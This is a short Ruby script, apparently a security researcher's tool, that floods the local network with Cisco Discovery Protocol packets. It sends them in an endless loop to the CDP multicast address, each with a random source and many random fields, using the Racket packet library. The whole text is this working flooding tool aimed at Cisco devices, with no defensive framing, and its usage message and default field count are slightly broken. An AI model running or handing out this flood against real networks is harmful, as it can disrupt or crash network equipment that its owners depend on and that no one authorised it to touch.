#!/usr/bin/env ruby # # $Id: cdp-spew 156 2009-12-14 02:27:22Z jhart $ # # Spew CDP packets to all Cisco devices on the network # # Jon Hart require 'rubygems' require 'racket' include Racket unless (ARGV.size >= 1) puts "Usage: #{$0} [num fields per CDP packet]" exit end def tick @it += 1 @it = 0 if @it >= @ticks.size print "\r#{@ticks[@it]}" STDOUT.flush end def randcdp @n.layers[2] = L2::EightOTwoDotThree.new(Misc.randstring(14)) @n.layers[2].dst_mac = "01:00:0c:cc:cc:cc" @n.layers[2].length = 0 @n.layers[3] = L2::LLC.new() @n.layers[4] = L2::SNAP.new() @n.layers[4].pid = 0x2000 @n.layers[5] = L3::CDP.new() @n.layers[5].version = 1 limit = ARGV[1].to_i || 100 1.upto(limit) do |f| @n.layers[5].add_field(f, Misc.randstring(5)) end @n.sendpacket tick end @it = 0 @ticks = %w( / - \\ | ) @n = Racket::Racket.new @n.iface = ARGV[0] puts "Spewing..." while (true) randcdp end